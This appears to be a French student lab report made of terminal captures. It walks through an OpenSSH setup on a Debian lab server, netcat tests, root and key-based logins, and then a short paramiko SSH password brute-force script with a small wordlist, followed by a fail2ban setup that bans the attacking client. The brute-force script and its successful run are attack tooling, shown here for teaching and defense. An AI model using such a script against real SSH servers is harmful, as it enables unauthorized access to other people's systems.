

```

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 28 16:22:21 CET 2025 on tty1
root@www:~# apt install ssh
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances... Fait
Lecture des informations d'état... Fait
ssh est déjà la version la plus récente (1:8.4p1-5+deb11u3).
0 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
root@www:~# _

```

paquets ssh installé

```

0 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
root@www:~# apt install openssh-client
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances... Fait
Lecture des informations d'état... Fait
openssh-client est déjà la version la plus récente (1:8.4p1-5+deb11u3).
0 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
root@www:~# apt install openssh-server
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances... Fait
Lecture des informations d'état... Fait
openssh-server est déjà la version la plus récente (1:8.4p1-5+deb11u3).
0 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
root@www:~#

```

openssh client et serveur installé

Les paquets openssh-client et openssh-server ont des rôles complémentaires dans la gestion des connexions SSH.

openssh-client permet d'initier des connexions SSH, tandis que openssh-server permet de les recevoir.

```

root@www:~# netstat -antp
Connexions Internet actives (serveurs et établies)
Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 466/sshd: /usr/sbin
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 523/apache2
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 515/mariadb
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 523/apache2
tcp6 0 0 :::22 :::* LISTEN 466/sshd: /usr/sbin
root@www:~#

```

```

root@www:~# nc -lvp 7777
listening on [any] 7777 ...

```

instance cree

```

test@client-mlif:~$ nc -nv 192.168.200.5 7777
Connection to 192.168.200.5 7777 port [tcp/*] succeeded!

```

connection reussie

```

Lecture des informations d'état... Fait
ssh est déjà la version la plus récente (1:8.4p1-5+deb11u3).
0 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
root@www:~# apt install openssh-client
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances... Fait
Lecture des informations d'état... Fait
openssh-client est déjà la version la plus récente (1:8.4p1-5+deb11u3).
0 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
root@www:~# apt install openssh-server
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances... Fait
Lecture des informations d'état... Fait
openssh-server est déjà la version la plus récente (1:8.4p1-5+deb11u3).
0 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
root@www:~# netstat -antp
-bash: netstat-antp : commande introuvable
root@www:~# netstat -antp
Connexions Internet actives (serveurs et établies)
Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 466/sshd: /usr/sbin
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 523/apache2
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 515/mariadb
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 523/apache2
tcp6 0 0 :::22 :::* LISTEN 466/sshd: /usr/sbin
root@www:~# nc -lvp 7777
listening on [any] 7777 ...
^C
root@www:~# nc -nv 192.168.200.5 7777
(UNKNOWN) [192.168.200.5] 7777 (?): Connection refused
root@www:~# nc -lvp 7777
listening on [any] 7777 ...
192.168.50.20: inverse host lookup failed: Unknown host
connect to [192.168.200.5] from (UNKNOWN) [192.168.50.20] 41778
salam SIO
HELLO SIO

```

```

test@client-mlif: ~
Fichier Actions Éditer Vue Aide

test@client-mlif: ~
test@client-mlif:~$ nc -nv 192.168.200.5 7777
Connection to 192.168.200.5 7777 port [tcp/*] succeeded!
salam SIO
HELLO SIO

```

```

ssh: could not resolve hostname www: temporary failure in name resolution
test@client-mlif:~$ ssh test@www
The authenticity of host 'www (192.168.200.5)' can't be established.
ED25519 key fingerprint is SHA256:DZpflJKZ4z6nh21DTjMrw3kGqMIoDj49+6Jwz0/F+0k.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:3: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'www' (ED25519) to the list of known hosts.
test@www's password:
Linux www 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 (2024-06-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 28 16:24:09 2025 from 192.168.50.20
test@www:~$ █

```

```

test@www:~$ ip a;
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:ca:f9:0a brd ff:ff:ff:ff:ff:ff
    inet 192.168.200.5/24 brd 192.168.200.255 scope global enp0s3
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:feca:f90a/64 scope link
        valid_lft forever preferred_lft forever
test@www:~$ █

```

```

test@www:~$ whoami
test

```

```
test@client-mlif:~$ ssh root@www
root@www's password:
Linux www 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 (2024-06-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr  2 08:42:17 2025
```

connection en root

```
# Authentication:
#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
```

```
test@client-mlif:~$ ssh root@www
root@www's password:
Linux www 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 (2024-06-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr  2 09:01:41 2025 from 192.168.50.20
root@www:~#
```

reconnection réussie

```
test@client-mlif:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/test/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/test/.ssh/id_rsa
Your public key has been saved in /home/test/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:zKUJzskhM8Tbx9004vqDxdaRvD28Zu2EmmN0nNl9K0I test@client-mlif
The key's randomart image is:
+---[RSA 3072]---+
|  ..          |
|  ..   .      |
| +oo.  +.o    |
| .B.*+=+*     |
|  =+S+  =     |
|    =.o++o .  |
|    = *  +++ .|
|    o .oo++o..|
|    ..+E+  .. |
+-----[SHA256]-----+
test@client-mlif:~$
```

```

-rw-r----- 1 test test 506 Mars 28 16:24 known_hosts.old
test@client-mlif:~/.ssh$ scp id_rsa.pub root@www:/root/.ssh/authorized_keys
root@www's password:
id_rsa.pub                                100% 570      1.1MB/s   00:00
test@client-mlif:~/.ssh$ █

test@client-mlif:~$ touch test
test@client-mlif:~$ scp test root@www:/root
test                                     100%  0      0.0KB/s   00:00
test@client-mlif:~$ touch test2
test@client-mlif:~$ scp test2 root@www:/root
test2                                   100%  0      0.0KB/s   00:00

root@www:~# ls
glpi-9.5.6.tgz  r  resultat  sauvegarde.sql  sauve.sql  test  test2
root@www:~# █

```

Pourquoi a-t-il fallu saisir un mot de passe ?

Parce que l'authentification par clé SSH n'est pas configurée, donc un mot de passe est requis.

Sur quelle machine se situe le serveur SSH ?

Le serveur SSH se trouve sur la machine distante à laquelle on tente de se connecter.

À quoi correspond le point (.) à la fin de la commande ?

Le point (.) représente le répertoire courant dans certaines commandes, comme scp ou rsync, indiquant où copier ou exécuter une action.

STOP2:

```

GNU nano 6.2                                forcebrute.py *
import sys
from paramiko import SSHClient
fd=open(sys.argv[1])
liste_pass=fd.readlines()
port = 22
user = "test"
ssh = SSHClient() ssh.load_system_host_keys()
for pwd in listepass:
    testpass = pwd.rstrip()
    print("tentative mot de passe : ",testpass)
    try:
        result= ssh.connect("www",port,user,testpass)
        print ("MOT DE PASSE TROUVE :",testpass)
        break
    except
        print ("ECHEC")█

```

```
test@client-mlif:~$ cat dico
test2
other
root
test
test3
root3
test@client-mlif:~$
```

```
test@client-mlif:~$ python3 forcebrute.py dico
tentative mot de passe : test2
ECHEC
tentative mot de passe : other
ECHEC
tentative mot de passe : root
ECHEC
tentative mot de passe : test
MOT DE PASSE TROUVE : test
test@client-mlif:~$
```

STOP3:

```
# "maxretry" is the number of failures before a host get banned.
maxretry = 3
```

```
root@www:~# systemctl restart fail2ban
root@www:~# systemctl status fail2ban
● fail2ban.service - Fail2Ban Service
   Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled)
   Active: active (running) since Wed 2025-04-02 09:56:15 CEST; 7s ago
     Docs: man:fail2ban(1)
   Process: 1487 ExecStartPre=/bin/mkdir -p /run/fail2ban (code=exited, status=0/SUCCESS)
  Main PID: 1488 (fail2ban-server)
    Tasks: 5 (limit: 511)
   Memory: 11.6M
      CPU: 100ms
   CGroup: /system.slice/fail2ban.service
           └─1488 /usr/bin/python3 /usr/bin/fail2ban-server -xf start

avril 02 09:56:15 www systemd[1]: Starting Fail2Ban Service...
avril 02 09:56:15 www systemd[1]: Started Fail2Ban Service.
avril 02 09:56:15 www fail2ban-server[1488]: Server ready
root@www:~#
```

```
test2
other
root
test
test3
root3
foch
assenge
Walter
host
root4
terminator
king
testologie
tiktok
fortnite
```

```
test@client-mlif:~$ nano dico
test@client-mlif:~$ python3 forcebrute.py dico
tentative mot de passe : test2
ECHEC
tentative mot de passe : other
ECHEC
tentative mot de passe : root
ECHEC
tentative mot de passe : test
ECHEC
tentative mot de passe : test3
ECHEC
tentative mot de passe : root3
ECHEC
tentative mot de passe : foch
ECHEC
tentative mot de passe : assenge
ECHEC
tentative mot de passe : Walter
ECHEC
tentative mot de passe : host
ECHEC
tentative mot de passe : root4
ECHEC
tentative mot de passe : terminator
ECHEC
tentative mot de passe : king
ECHEC
tentative mot de passe : testologie
ECHEC
tentative mot de passe : tiktok
ECHEC
tentative mot de passe : fortnite
ECHEC
test@client-mlif:~$
```

```
root@www:~# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|   |- Currently failed: 0
|   |- Total failed:     0
|   \- File list:       /var/log/auth.log
\-- Actions
    |- Currently banned: 1
    |- Total banned:     1
    \- Banned IP list:   192.168.50.20
root@www:~# _
```

```
test@client-mlif:~$ ssh root@www
ssh: connect to host www port 22: Connection refused
test@client-mlif:~$ █
```